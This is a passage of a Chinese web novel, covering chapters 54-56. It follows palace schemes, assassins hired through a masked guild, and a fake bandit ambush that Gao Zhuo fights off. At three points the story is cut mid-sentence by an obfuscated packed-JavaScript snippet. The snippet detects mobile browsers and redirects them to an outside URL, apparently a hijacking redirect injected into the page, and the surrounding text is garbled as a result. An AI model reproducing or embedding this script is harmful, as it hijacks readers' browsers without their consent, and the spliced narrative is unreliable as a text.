高府,诏令刚到。高羡得知圣旨的内容后更是怒火中烧,他带着怒气回到书斋,推门便责问莫内侍道:“蠢货,说的什么消息。亏我刚才谋划半天,牧怀兴明明是立五皇子牧泓峥为太子。” “不可能。”莫内侍着急辩解说,“大人,属下虽离正殿远,但牧泓屹的名字绝对是听的清清楚楚。” 莫内侍脑子里猛然想起另一种可能,“这,会不会是牧怀兴的暗度陈仓之计。” 高羡沉默片刻,道:“嗯,也不是没有这种可能。牧怀兴可真是狡猾,若非你听到他要立牧泓屹,那我们可就真让他骗过去了。既然牧泓峥只是挡箭牌,我们先按兵不动,等牧泓屿回来,再进行下一步。” 天光微亮,尚有星光。 姚映梧几人早早动身,向着滕州进发。 高琢迷迷糊糊赶着马车,牧泓屿在一旁也睡得正香。姚映梧看他们二人困成这样甚是奇怪,她跟皎皎两人聊到半夜都没这样困。 肖遥正好坐马车坐的乏累,看他们这样实在不放心他们来赶车。她叫醒高琢让他到马车内睡,自己则接过马鞭帮他赶车。 马车一路颠簸,高琢靠在车厢内怎么也睡不好。姚映梧看着高琢磕碰脑袋的样子实在不忍心,她轻轻揽过高琢,“高琢,你靠在我肩上睡吧,这样舒服点。” 高琢眼神迷离,昨夜他担心了半夜又审问了牧泓屿许久,现下困的眼皮打架。靠着姚映梧肩上,高琢睡得格外熟。 马车外, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336980|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肖遥一边赶着马车一边悄悄盯着牧泓屿。牧泓屿察觉到肖遥若有若无的眼神,开口道:“怎么?有事问我?” 肖遥想着姚映梧的叮嘱,按着阿缘教她的那样说:“小七你是不是有心事,有心事可以跟我说,我会帮你。呃,帮你的。” 肖遥语气僵硬,说完都不敢看牧泓屿的眼睛。 笨皎皎,学话都学的这么不自然。 姚映梧在马车内仔细偷听着两人谈话,听见肖遥这样说,无奈地扶额轻叹。 牧泓屿睁开眼,入目便是肖遥红透的脸。接着马车内一声极轻的叹气声传到他的耳朵里,牧泓屿忍不住偷笑。难怪说得磕巴,原来,是在学话啊。 肖遥见牧泓屿笑,不解问道:“小七你笑什么?” 牧泓屿望着肖遥一脸迷惑的样子,笑道:“昨夜高琢为这事审了我一晚上,结果白天又换你来了。” “高琢为什么审你……” 姚映梧听着两人谈话渐渐跑偏了,急得在马车内重重咳了一声,提醒肖遥该说正事了。 听见咳嗽声,肖遥硬是话题一转,接着问道:“啊那个…小七你是不是有心事啊,有心事可以跟我说,我会帮你的。” 姚映梧直接倒吸一口凉气,差点气晕过去。笨皎皎,呆皎皎,怎么从头说,接着问啊。 牧泓屿哈哈哈大笑起来,笑得停都停不下来。 高琢被牧泓屿的笑声吵醒,刚要出口询问,就被姚映梧一把捂住嘴巴,用眼神警告他不要出声。 肖遥看着牧泓屿笑成这样,十分不解,她说的话有那么好笑吗。 牧泓屿直到笑得脸都僵了才停下来,他按着昨夜同高琢说的那般又对肖遥解释了一遍。他还刻意提高声音,让马车内的姚映梧也能听清楚。 得知牧泓屿没什么事,姚映梧才放心下了。的确,牧泓屿说得对,他们出门在外确实该应该隐藏身份才行。 牧泓屿笑完又叹气道:“其实我也有其他事瞒着你们,四喜昨夜给我传信……说父皇他,病得更重了。我怕我们还没找到药,他就……” 几人听到,皆是一阵沉默。高琢眨眨眼,问自己能说话了吗。姚映梧这才发现自己还捂着高琢的嘴,她赶紧松手。 清苦的味道散去,高琢缓过气来,他提议道:“那不我来赶车吧,咱们日夜兼程,最多不用三个月就能到滕州了。” 牧泓屿忧虑道:“我怕父皇挨不到那日怎么办?父皇一死,盛安怕是……” 吁—— 肖遥勒住马,掀开车帘道:“牧泓屿说得对,若是陛下有什么事,我们又不在盛安。三一姑姑若不能查明真相,陛下殡天的罪名不就落到我们头上了。” 姚映梧皱眉道:“我们不能坐以待毙,既要寻药,也不能离盛安太远。以防万一。” “此言有理。”肖遥回道,“我们如今已经离开盛安,等夜深我传信鸽给在蔺州的父亲和母亲,请他们派人帮忙寻药。等药一找到,快马从蔺州送来也来得及,我们就守在这,以防不测。” 牧泓屿应道:“此法甚好,我们既不会离开盛安,也能替父皇寻药。” 马车上高琢站起身指着不远处的一处破败的庙宇,“那地方没什么人,咱们就在那歇脚。盛安有人想查我们都查不到。” 姚映梧狡黠道:“高琢说得对,盛安不知有多少眼睛盯着我们呢。我们得找个没人的地方藏起来。” 高琢夺过马鞭,“走,趁天色还亮咱们还有时间收拾。驾!” 马车离开山谷,山谷间追踪马车的人也立刻离开,直奔盛安城。 54. 杀意生 日轮西坠,远山含黛。 盛安城内,闹市街上,毫无人气儿的破屋静静伫立,望着街上来往的人群。 幽暗的密室内,烛影跳动。光影交错中,只见一盆生机盎然的兰花。 “他们往滕州走了?”说话的男子双手交叠,转弄着拇指上的兰花纹玉扳指。 “是,二舵主。” 回话的人顿了顿又补充道:“但小人看得也不是很真切,肖遥武功太高,小人怕她发现就没敢跟的太近,只是远远瞧着他们去得是滕州方向。” 袖口上绣着兰花图案的男子闭目沉思,用手指轻叩着桌面道:“主人说了,不管用什么办法,不得让他们进入滕州地界。”他睁开眼,吩咐底下跟踪的人,“照他们的速度一路北行,用不了多久他们就会进入毫州界内。那边山匪横行,你带几个手下人扮做山匪,假借山匪截路做掩护,给我借机除掉肖遥。” “是大舵主,属下明白了。” 等底下的人走后,二舵主扭头问道:“大哥,你久在盛安比弟弟我清楚,这肖遥是真有这么厉害?能让主人如此忌惮,还特意吩咐一定要除掉她?” “令主人忌惮的不只是肖遥,而是肖家。当日铲除肖家的大好时机,肖遥为保城池于城下与闼鞑大王子拓跋恃大战,两人缠斗不分伯仲。拓跋恃连最厉害的圆月刀法都没能杀掉肖遥,反而被她持肖家戟将其挑于马下,一戟击杀。回到盛安后,牧怀兴亲封她为云麾将军,称她是大邺第一将。可见,她武功深厚啊。” 二舵主嗤笑一声,“什么圆月刀法,拓跋恃之前侥幸能赢靠得是他出神入化的阵法。要说闼鞑第一勇士,还得是二王子拓跋冽。他的武艺也是主人亲传,却比拓跋恃不知高出多少,如今在庆州与肖逾和宋今月开战,也是能与他们打个平手的。嗐,只可惜小主人……” “闭嘴!”男人怒不可遏的呵斥道:“这种话你也敢乱说,小心隔墙有耳,话传到主人和小主人的耳朵里。” 二舵主正说到兴头上,不知道那句话惹大哥生气了,只好悻悻住嘴。男人的耳边也终于得了清净。他垂下头看着自己衣袖上栩栩如生的兰花,心中暗叹一声。 派去杀肖遥的人刚走出门口,就被人喊住。 “贾大。” 来人带白泽面具一身藏青袍子,贾大一眼便认出是使者。 “使者喊住小人,可是舵主又有什么吩咐。” 使者踱步走到贾大身边,低声道:“两位舵主吩咐你除掉肖遥是不是?” 贾大点头正欲回话,就听见使者说:“小主人说了,现在不许动肖遥。肖遥的命,小主人要亲自动手取回来。此次刺杀你只需做戏,假意不敌肖遥即可。你多带几人分散肖遥的注意力,趁乱去把姚映梧给我杀了。” 贾大惊呼一声,“啊?不杀肖遥了。” “喊什么你。”使者捂住贾大的嘴,打量周围有没有组织内的人注意到他们。 使者从袖中拿出十两银子,这是小主人赏你的,你只需好好办成这件事,日后,小主人亏待不了你的。 贾大接过银子,连忙道:“多谢使者和小主人赏识,贾大一定好好做事,不辜负小主人。” 使者望着贾大离开密室的身影这才放下心来,还好贾大没有多问。小主人不许他要姚映梧的命,他就只好自己动手了。 荆南,石豆还有花娘,这笔笔血账,他要好好和她算一算。 落日,天边留下一道道金色的余晖。 楚王府,牧泓屹正一边赏着落日,一边等章参来。 今日,章参特意换了常服从侧门入。殿下如今刚封楚王,不知有多少眼睛盯着楚王府,加之宫中形势混乱,他得低调行事。 “殿下。” 牧泓屹转过身问道:“他出盛安城了?” 章参刻意压低声道:“是殿下。我的人自他们出了盛安就一直跟着。刚才探子回报,说现在他们找了处隐蔽的破庙歇脚。” 牧泓屹端起茶盏,抿了口茶。笑道:“歇在破庙?那可正是处隐蔽地方,他还真会给自己找死路。” 牧泓屹招手让章参附耳过来,“你去找伙江湖上的亡命之徒,借此机会杀了牧泓屿。让他有命离开,没命回来。” 章参不解地看着牧泓屹,犹豫着劝道:“楚王殿下,您现在还是韬光养晦的好。此时动手太过招摇,也会让人怀疑招惹是非。” 牧泓屹打断了章参的话,“当年金曜雪的事,我五弟年幼不知。况且他从小就护着牧泓屿,若现在我不把握机会动手,等五弟登基就更不好下手了。” “可,太子之位只是暂时的,咱们日后还有机会的。” 牧泓屹冷冷瞥了眼章参,“既然现在父皇已经立了五弟为太子,我是不会跟他争的。” 牧泓屹的话,令章参心里着急,“殿下,那可是皇位,岂能说让就让。做楚王哪有做天子来的舒服,您不能不争啊。” 牧泓屹脸色一冷,重重放下的茶盏在手边炸开了花。 “够了!我会不明白做天子的好处吗。可那是我五弟,是我自幼看着长大的。父皇与母后为了政事殚精竭虑之时,是他陪我玩耍解闷。我失意时,是他在我身边开解宽慰。我们相伴二十余年,你是要我对他下手吗!” 章参一头冷汗不敢再多言,只得顺着牧泓屹的心思说道:“殿下,臣听闻江湖之上有一神秘组织独春。他们既能探听消息,也能□□消灾。只要是银子到位,什么都能干。而且他们有规矩,只要进入独春者,都需戴面具。我们去找独春杀人,绝对万无一失。臣之前办的童谣案,其中案犯的线索就是从独春那探听到的消息。” “好。你就去寻那独春杀掉牧泓屿。切记,干净利落,不留后患。我不想再见到他回到盛安。” 夜深,章参揣着银子,带着从黑市上买着得今夜独春暗语直奔上次去的城郊。 咚咚咚,咚,咚,咚咚—— 不起眼的木门拉开,里面的小童脸上带白泽面具,问道:“你来此何事?” 章参微微弓下身子答道:“今夜月缺,尚有心事,不能入眠,请使者指点。” “是何心事?” “一心奔前程,有郎挡前路,若帮余平路,飞黄腾达来。” 守门的小童见按他规矩答话,应该是熟客,语气便缓和了几分。 “何郎挡前途,你自报名来,独春费黄白,保君高枕眠。” 见小童开口愿意接下这单买卖,章参赶紧拿出牧泓屿的画像。 “只求高枕卧,不惜散家财。” 小童打开画像,见画上公子身着锦绸似书生,应该不需要费太多力气。他卷起画卷问道:“读孔孟的,还是学孙子的?” “只读几日圣贤书,不知武器十八般。” 小童将画卷收好,背在身后道:“此郎不足惧,君归等十七。只是独春怕冬寒,尚需金饼十块喂饱姐妹兄弟。君花钱解忧一身干净,我动手染血绝不露半点蛛丝马迹。” 十七,那不就是明天。听到约定好日子和银子,章参连忙双手奉上准备好的金饼。 小童打开口袋,数了数正好够十块。看来此人知道的不少,能提前备好足数的金饼,看来他知道他们独春杀人,文的十块,武的二十块。 收了雇主的金饼和仇家,还告知了日子,小童也不多废话直接关上了门。杀个手无寸铁的小子也用不上什么高手,就让丁字号的丁大去吧。 章参看着关紧的大门,终于如释重负。暗语一段时间一变,全答准可真费了他好大的功夫。天色渐暗,章参拢紧衣服,还得赶回去复命呢。 天色昏暗,直到戌时,几人才将破庙收拾好。几人中,只有高琢会做饭,他去山上打了两只野兔又灌满了水囊。下山时,还顺手摘了不少野果,他担心今日阿缘舟车劳顿又不想吃荤腥,就给她备上爽口的果 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肖遥原本想擦干净庙内的大石头,这石头平整,晚上几人还能躺上去休息一下。不料她擦了几下,石头上被灰尘掩盖的地方渐渐露出一大串不认识的字来。肖遥想着姚映梧读过许多奇书,想叫她进来一问。 高琢和姚映梧进屋后,生火的牧泓屿听见肖遥的喊声也凑了过来,几人就围着石碑看了起来。 肖遥好奇道:“阿缘你可认识?这上面是什么?” 姚映梧摸了把石碑上刻得像字又不像字的纹路摇摇头,“从来没见过,这是字吗?好生奇怪。” 高琢指着石碑一角喃喃道:“高平二年建……” 听见高琢说的话,姚映梧惊讶道:“高琢你认识上面的字?” 高琢答道:“不多,但能认识几个。” 肖遥急道:“你快念念上面说了什么。” 石碑上的字有的损坏严重,高琢捡着还能认出来的几个字念道:“……毫州界内人杰地灵,特修长生庙供养天神,以佑我利鹘千秋万代,一统天下。高平二年建。” “高平……”牧泓屿念叨着这两个字,脑中灵光一闪脱口而出,“这是戈罗哈吉的年号。” 利鹘皇姓戈罗,戈罗哈吉,姚映梧惊道:“这是利鹘文字,难怪……毫州在前晋时被利鹘夺得,后来先帝攻破盛安想在此建都,毫州便成了心腹大患。于是他派忠勇侯带甘家军打退利鹘军,连夺八城。还是利鹘当时都国主派人带利鹘暖玉和许多珍宝前来求和,先帝这才撤军。这座庙荒成这样,估计是利鹘人被打退后就彻底废弃了。” 肖遥不敢相信的看着高琢,“你还认识利鹘字啊。早说你认识利鹘字,我就向兄长举荐你当他的主簿了。闼鞑现在的城池,一大半都是灭掉利鹘后抢来的,他们许多将领为防泄露重要军情都利鹘字和闼鞑字混用。你若能帮我兄长破解这些,也算随军立功,而且也没那么危险。” 高琢扯出一抹讪笑,道:“我小时候住在村里的山庄上,教书的先生就毫州人,他习惯用利鹘字,就也教我们用利鹘字读书。” 牧泓屿接着肖遥的话道:“可惜,大邺除了上战场的兵士不查身份背景,只要做官,这些都得查清。他来的地方不清不楚,身份也不明,做主簿是没什么希望了。” 姚映梧没说话,只望着石碑上的毫州眼眸一亮,“有石碑不就说明这离毫州不远了。既然毫州人还用利鹘字那肯定也保留许多利鹘的习俗。我记得长姐同我说过,利鹘人信仰天神,传说天神初七化神,每隔十日就会到人间一趟赐福子民。故每月逢初七,十七,二十七都有集会,人们相约到街上露面,祈求天神保佑。我们借此机会,正好可以去毫州买草料,混在人堆里也没人发现我们。” 姚映梧说完,高琢立刻应和道:“就这样办!我们分头行动,我和阿缘去买草料,牧泓屿就和肖遥在这守着,以防盛安变动。” 55. 山匪劫道 翌日,天边亮起晨光。 破庙外,微黄的草地上遍布着滚动的露珠,早起的鸟儿在窝内叽喳个不停。微凉的风携着远山的草木香吹进破败的庙门,将沉睡在石碑上的几人轻柔的唤醒。 又是一阵带着凉意的秋风,高琢打了个冷战率先醒了过来。 高琢活动一下脖子,又捶捶僵硬的后腰和肩背。昨夜肖遥和阿缘把带来的厚被子都铺在了石碑上,虽然隔绝了石碑上的寒气睡着也软一些,可睡一夜还是免不了全身酸痛。 石碑另一头的姚映梧也迷迷糊糊地起身,昨夜庙外一直有窸窸窣窣地声音,她害怕是野兽,一直担心到半夜还没睡着。 幸好皎皎发现她的担心,告诉她门外是野猫穿过草丛的声音,细听能听见猫叫声,叫她不用担心。 肖遥和高琢昨夜轮流守夜,肖遥主动提出来守下半夜,如今睡得正香。姚映梧小心地掀开被子怕惊醒肖遥,起身后她见高琢已经醒了,两人便一同拿上昨夜摘的果子,蹑手蹑脚到了院落中。 两人收拾好自己又洗干净果子,姚映梧刚拿起一个放进嘴里,脸登时被果子酸绿了。她暗叹自己今日运气也太差了,连着好几个都吃到了酸的。高琢运气更差,一个甜果子也没吃到。酸得他脸都皱在一起,肚子里直冒酸水。 “你也吃到酸果子了?”两人都皱着眉开口问道。 两人抬起头,入目都是对方酸到变形的脸。两人对上眼一看,都乐不可支。 二人一边互相打趣,一边将就把果子咽下肚。好不容易吃完,便一同出门了。庙外的马儿已经将不多的干草吃光了,此时正懒洋洋的站在门口,等着主人给他添新的干草。 高琢心疼地拍拍马儿的头,“等到了毫州我再多给你买一些干草,今日委屈你了。” 高琢说完,马儿昂起头发出嘶鸣声,用前蹄委屈地在地上刨着坑。 姚映梧摸着马鬃安慰道:“别难过,等带我们进了毫州城,就让你放开吃好不好。” 马儿停下动作,扭头蹭蹭姚映梧的掌心。姚映梧笑着躲开,马鬃蹭得她手心痒痒的。 看着这温馨的一幕,高琢不自觉笑起来。 “阿缘,咱们赶紧走吧。现下时辰还早,咱们还能赶在正午前回来。到时候,我们在毫州城给他们带些好吃的回来,省得咱们下顿吃酸果子了。” 姚映梧觉得有理,赶忙上了马车。二人趁着时辰还早,直奔毫州城内去了。 大约又过了一柱香功夫,牧泓屿悠悠转醒。高琢已经不在身边了,他偏过头看肖遥还睡着,只是不知做了什么噩梦,眉头紧紧皱着。 屋内空荡,门口烧着的火堆也早就熄灭,只剩灰烬深处仍残留着一点余温。他看着桌上高琢和姚映梧留下来的果子挑挑眉,他没什么胃口,可也只能吃这个填饱肚子。 他梳洗好后,挑了几个看着就酸的果子吃了。见肖遥还在睡,准备给她留张字条,自己再去找些吃的回来。 牧泓屿从行李中找出纸笔,研好磨,正欲下笔时动作却一顿。 “牧泓屿,你怎么一大早上就研上磨了?” 肖遥揉着眼睛,迷糊着问道。 她昨夜守到火堆熄灭才睡,结果刚睡着就梦到兄长和嫂嫂出事了,吓得惊醒,出了一身冷汗。肖遥本想给兄嫂传信,扭头看见阿缘好不容易睡着了。她怕自己一出门就会吵醒阿缘,传信的念头这才作罢。她望着屋顶,直到惊惧留下的冷汗褪去,才又慢慢入睡。 牧泓屿收了纸笔,笑着解释道:“我本想留张字条出门去给你找些吃的,起笔时才想起来咱们现在已经出了盛安,要是咱们两个分开后出了什么意外就不好了。可只让你吃这些果子又太委屈你了,我这还没想好该怎么办你就醒了。” 睡了一夜,也该起身活动一下筋骨了。肖遥起身道:“没事的,我不委屈。出门在外,能有吃的就很好了。你千万别单独一人出门,你不会武,还是乖乖待在我身边吧,这样我才能放心。” 听了这话,牧泓屿顿时红了脸。他垂下眼眸嗫嚅着开口:“你…是担心我吗?” 看着牧泓屿的样子,肖遥奇怪道:“当然担心你啊,现在外面危机四伏,你自然要一直跟着我才行。自小我们不就是这样的吗?我走到哪你都跟着,还要我发誓,保证我永远不许丢下你。” 肖遥想了想,除了自己被召回盛安后不许离开的那段日子,自己因为气愤和无奈一直躲着他。除此之外,肖遥觉得自己一直都有遵守承诺好好将他带在身边的,她肯定道:“嗯…对,我一直都和你在一起的。放心吧小七,我会保护你的。” 肖遥的话让牧泓屿勾起唇浅笑一声,“皎皎,你对我真好。” 肖遥傲娇地扬起头,对牧泓屿回笑道:“那是自然,毕竟你我也算是一同长大的,你的骑射可都是我教的,我不对你好对谁好。” 牧泓屿没说话,只是温柔的对着她笑着。 肖遥收拾完,随手拿起一个干净的果子咬了下去。唇齿间发出清脆的咔嚓声,果子又甜又爽口。肖遥连吃了几个,竟都是甜滋滋的味道。她有些诧异,没想到高琢还挺会挑果子的,每一个都又脆又甜。 吃饱喝足,肖遥准备去院落练双剑,许久没练剑法该生疏了。临出门,她瞥见牧泓屿还坐在桌前一点没动,脸上依稀挂着失落的神情。 肖遥奇怪他怎么又难过了,转念一想,应该是自己说要一直将他带在身边,可前段日子总躲着不见他的事。 她轻咳一声,等牧泓屿看过来时才说道:“小七你放心,离宫前一日我答应会同你在一起就不会骗你的。之前是我不好,因为你父皇不让我回蔺州而迁怒于你,明知道你会伤心,我还刻意避着不见你。我知道不是你的错,却还是忍不住怒气对你说了很多过分的话,害你掉眼泪害你难过。小七,你别生我的气。等我们回了蔺州,空暇的时候我日日带你去骑马,就当我给你赔罪好不好?” 肖遥说完牧泓屿只是眷恋的看着她,片刻他才笑道:“好,是你答应我的。要带我去骑马,给我赔罪,你可不许反悔。” 看牧泓屿精神好了起来,肖遥也如释重负。 “自然,我肖遥从不失信于人。” 毫州城内,今日城中的集会热闹非凡。路边的商贩叫卖声络绎不绝,卖的各色货品也是琳琅满目一应俱全。欢闹的场面,一入城便让人看花了眼。 高琢与姚映梧却没空看这些,他们匆匆买了些食物便直奔城郊的马场买干草。 他们买了一整车干草,马场老板眼见是这么一大单生意,便让马场的伙计赶着牛车帮他们把干草拉回去。 出了城外,穿过荒地,三人走到了山谷处等过了山谷就能到破庙了。帮忙拉干草的伙计见他们住在城外,好奇道:“公子和小姐,为何不住在城内呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“以肖遥的功夫咱们去假意刺杀,不做她戟下的冤鬼都算祖坟冒青烟了。好不容易有个轻松不送命的活,你小子还上赶着去送死是不是。” 贾大的心腹替老大顺气道:“老大您放心,按大舵主说得我都打听好了。这一带确实经常有山匪出没,只是之前被甘霆带人清剿过,没剩下几个人了。剩下的人躲进山里,一直没被抓到。咱们冒充山匪正合适,杀了人正好让他们替咱们背黑锅。” 贾大望着山谷下走来的马车和拉着一车干草的牛车,他吩咐道:“小的们注意着驾马那男的,看他带着横刀应该是姚映梧的贴身侍卫,你们去缠住他,我去杀了姚映梧。” “得令。” “驾!驾!驾!” “嘞,嘞,嘞,嘞,嘞。” 山谷上突然冲出一群人,围住他们高声叫嚷。 高琢见状赶紧勒住马,把姚映梧护在马车内。 伙计连忙停住牛车,心想自己今日怎么这么倒霉,不会是犯太岁了吧。先是碰上送货这家人里有个疯子,然后又遇上了许久没出来过的山匪。等安全回了毫州城,他得找坊内孙半仙给他好好算一卦。 贾大骑在马上举刀指着高琢喊道:“此山是我开,此树是我栽,要想从此过,留下买路财。” 56. 真假山匪 高琢握紧横刀,高声问道:“你等是这毫州城的山匪?” 见姚映梧的侍卫果真把他认成山匪,马上的贾大心中窃喜,哼了一声道:“不错,我们兄弟就是此处的山匪。你若识相,就赶紧把身上的银子全拿出来。我们看在银子的份上,说不定能饶你一命。” 贾大嘴上这样说,眼神却一刻都没离开过高琢。等他开口拒绝掏银子时,自己就假意恼羞成怒,和兄弟们立刻动手砍死姚映梧回去复命。 贾大说话间,高琢一直用眼神观察着四周。虽说来的山匪只不过才十几人,可山谷上很难说有没有他们其他的同伙在附近埋伏着。在这地方,仅凭他一人之力很难护住伙计和阿缘,更别说带着两人全身而退。 更何况,他们还有一辆马车,一车干草。即使抛下这些,他们几人仅靠两条腿跑,也很难从骑马的山匪手中逃出来。哪怕他们暂时能从山匪手下逃脱,可他们人生地不熟的,怎么能从山匪的地盘上躲开他们的追捕。 高琢咬咬牙,银子肖遥和牧泓屿那还有,他给身上这些他们也能活下去。自己最重要的事,还是得保护好阿缘和这个无辜的伙计。 他从怀中掏出仅剩的十两银子,“这是我仅剩的银两了,我把它都给你们。你们行行好,放我们过去。” 眼看高琢想给他们掏银子,贾大瞪大眼赶紧勒住马缰。他都准备好夹紧马肚子冲上去了,结果这个人居然向山匪屈服给他们掏银子。亏他以为他是习武之人,居然一点骨气也没有,丢他们习武之人的脸面,可耻!实在是可耻! “高琢。”姚映梧在马车内轻唤了声高琢的名字。 山匪冲下来时,高琢迅速拉上了车帘。她虽看见有多少山匪,但大致猜测他们来了不少人,高琢若与他们交手恐免不了缠斗。高琢愿意将银子给流寇恐,怕也是因为担心她与伙计的安危。 高琢盯着贾大的动作,身体稍微向后挪动,“阿缘,什么事?” 姚映梧掀开车帘一角,递出自己的钱袋。 “高琢这是我从家带出来的,我父亲做谏议大夫时向先帝自请铲除贪官污吏,为做榜样将府内金银底下都烙了印记,以此姚府流出和进入的银钱都有来路可证。你将我的钱袋给他们,他们只要用银子就会被发现。等安全了咱们就去报官,这样他们既不会拿了银子逃脱继续危害乡里,咱们也能安全离开。” 高琢赞同地接过钱袋,道:“还是阿缘想得周到。” 贾大本就是冒充山匪,劫道只不过是掩人耳目的借口。见高琢执意要给银子,贾大知道此计行不通了。递银子时他也确认姚映梧就在马车内,他也干脆不多说废话直接喊道:“兄弟们,按计划行事,杀!” 马蹄声混着嘶喊声朝着四面八方涌来。高琢一把将吓得瑟瑟发抖的伙计提到的马车上,自己则飞身越上车顶环顾着四周的山匪。 车外的马嘶声混着杀喊声格外清晰,姚映梧将肖遥送她的匕首紧紧握在手中,警惕地听着周围的响动。 高琢拔出横刀借势一扫,用横刀将几个踏上马车的人击落下去。 几人被击落回地,凭借几年间杀人的默契,迅速列开阵型分次攻击高琢消耗他的体力。 与歹人交手过招间,高琢第一次这么感谢铃泷姐姐对他的刻苦训练,无论是酷暑严寒都要从山下挑水,去山间劈柴,忙完还要在院中扎一个时辰的马步。多亏了这些才让自己练就了一身好耐力,不然对上有备而来的山匪他还真有点吃不消。 贾大见手下已经缠住了那男子,自己瞅准时机从马上一跃而下,刀尖直冲马车内而去。 高琢见状知今日不伤人是不行了,他手腕一扭将刀刃朝外。原本大开大合的招式含上杀气,他闪身躲开拿刀的几人,一记横扫锋利的刀刃瞬间划开面前几人的胸膛。 高琢来不及多想,只凭本能越下车顶,横刀挑偏此人的刀尖,借力一拳挥在他的肋骨处。那男子是从上越下,根本躲避不及,痛呼间,高琢翻身一脚将他踢开数米。 几番缠斗,再好的体力也打不住有些喘。姚映梧听见高琢的喘气声揪心不已,可现在她唯一能做的就是握紧手中的匕首,保护好自己。 贾大捂住伤口,用刀撑着身体从地上起身。没想到这侍卫功夫不错,还拿命护着姚映梧。难怪她敢只带一个侍卫出门,看来是花了大价钱雇的。 肋骨处挨得一拳痛的厉害,贾大颤巍巍的开口,“壮士我们无意伤你,只要你把姚二小姐交出来,大家都能相安无事。” 这歹人越发得寸进尺,竟还想要阿缘! 高琢听完怒喝一声,“你这歹人,不仅劫财现在还想劫色了是吧。我告诉你,你休想动她一下!” 高琢气得厉害,原本疲惫的身体又充满了动力。擒贼先擒王,自己得先把这个人拿下。 高琢对缩成一团的伙计道:“趴好别睁眼。” 说完,他立刻接着跳到车顶朝小喽啰们扔出一包石灰,趁他们反应不及,飞身跳下马车对着贾大的脑袋来了一记劈砍。 贾大堪堪闪过,高琢一脚踹上他的腿窝将他踹倒。贾大倒地之际,高琢迅速将横刀抵在他的脖下,锋利的刀刃留下了一条血线。 横刀冰凉的刀身贴着贾大,他吓得不敢动。听着手下的哀嚎声,他知任务失败,现在最重要的是不能暴露组织的事。 他脑中迅速编好谎话,连连告饶道:“好汉饶我一命啊。我就是带兄弟们讨口吃的,听人说丞相府二小姐会路过这,我们就想绑了她去丞相府要点银子。干完这次,我跟兄弟们就要分散各奔东西了回家乡了,只是现逢乱世生活不易,走也得要盘缠不是。” 听人说,高琢对此十分奇怪。阿缘之前病重甚少出门,身边连个熟识的朋友都没有,谁会知道她如今出了盛安呢。 高琢将刀拿近几分,“是听谁说的?” 高琢心中有了一个名字,可他不敢相信只想听刀下的男子亲口说。 贾大颈间的疼痛让他连大气都不敢喘,他看这男子信了他胡说的话,心里安心了点。虽然武功不错,可惜是个傻的。谁绑架会趁着白日劫道动手啊。 贾大冥思苦想着在盛安城听到的风言风语,城内说谁最和姚家不对付来着。他脑中使劲回忆着,嘴上也支支吾吾。 “快说!” 高琢的心都快要跳出来了,他不敢听,害怕答案是他心中所想。却又忍不住屏气凝神,期待是一个陌生的名字。 “是…是高什么来着。” 到嘴边的名字自己怎么也想不起来了,贾大恨不得直接骑马回盛安再听一遍这些事。 说者无心,听者有意。一个高字就已经说得高琢两眼一黑,他死死咬住牙关抿紧唇,从齿缝中挤出句话,“是,高羡?” 贾大还以为以为姚映梧的侍卫认识这个姓高的,他刚松了口气,正好省得他想了。结果发现这侍卫说得根本不对,他害怕有诈立刻否认道:“不是不是,是三个字的名字。叫高什么来着……” 听到山匪否认,高琢全身冷汗直冒,他卸了力,还好不是…… 贾大本就以为高羡一名是说出来诈他的,现下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364104|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更是仔细回想。突然他脑中灵光乍现,兴奋道:“我想起来了,是高统领。对对对,不是高羡是高统领。” 高统领…… 高琢彻底寒了心,这几日他一直说服自己,之前的事说不定是兄长对姚家有误会所以他才如此。可现在他直接透露给山匪阿缘所在,借刀杀人又该怎么解释。 高琢一刀划伤了地上之人的右臂,“我划伤了你右手经脉,你若想保住这一身功夫,最好十个月内勿动刀剑。” 他将阿缘给他的钱袋扔给地上的山匪,“这里面的银子够你们生活了,日后不许再打家劫舍了。” 贾大没想到这人真不杀他们,他喊起兄弟,拿水给他们简单冲了下眼睛。他捂着右臂飞快捡起刀,“多谢好汉,日后我们绝不再干了。” 说完,一行人骑马飞快逃走了。 “高琢。”姚映梧走下马车,将手搭上高琢的肩膀安慰道,“没事了。” 高琢心下难受,硬挤轻松的语气道:“阿缘我把银子给他们了,还伤了他们武功最厉害的头。我是怕他们在山上难以维生,再冒险去绑人,你会不会觉得我做的太过分了。” 姚映梧替高琢擦去脸上的汗珠,又理顺了发丝。 “当然不会。乱世当道,不是落草为寇的借口。他们一身功夫,与其在这劫道不如参军保天下。” 高琢点头道:“阿缘说得对,下次再遇到流寇,咱们就送他去见官充军。” “这毫州城哪还有流寇了,不都让你打跑了。”姚映梧笑着点点高琢的鼻尖,“咱们赶紧走吧,那个伙计都吓坏了。” 高琢笑道:“好。等送完干草,我多给他些银子。” 两人刚回到马车,给伙计许诺了三两银子的赏钱,他才愿意继续赶牛车跟他们往回走。 